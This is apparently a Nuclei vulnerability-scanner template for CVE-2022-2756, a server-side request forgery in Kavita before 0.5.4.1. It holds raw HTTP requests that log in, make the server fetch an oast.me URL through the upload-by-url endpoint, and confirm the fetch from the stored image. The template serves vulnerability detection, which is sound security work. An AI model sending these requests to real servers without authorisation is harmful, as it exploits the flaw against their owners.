id: CVE-2022-2756

info:
  name: Kavita <0.5.4.1 - Server-Side Request Forgery
  author: theamanrawat
  severity: medium
  description: |
    Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
    - https://github.com/kareadita/kavita
    - https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2756
  remediation: Fixed in 0.5.4.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-2756
    cwe-id: CWE-918
  metadata:
    shodan-query: title:"kavita"
    verified: "true"
  tags: ssrf,kavita,authenticated,huntr,cve,cve2022

http:
  - raw:
      - |
        POST /api/account/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

      - |
        POST /api/upload/upload-by-url HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"url":"http://oast.me/#.png"}

      - |
        GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "Interactsh Server"

      - type: word
        part: header
        words:
          - "image/png"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        internal: true
        name: token
        group: 1
        regex:
          - '"token":"(.*?)"'

      - type: regex
        internal: true
        name: filename
        group: 1
        regex:
          - 'coverupload.(.*?).png'

# Enhanced by md on 2023/04/13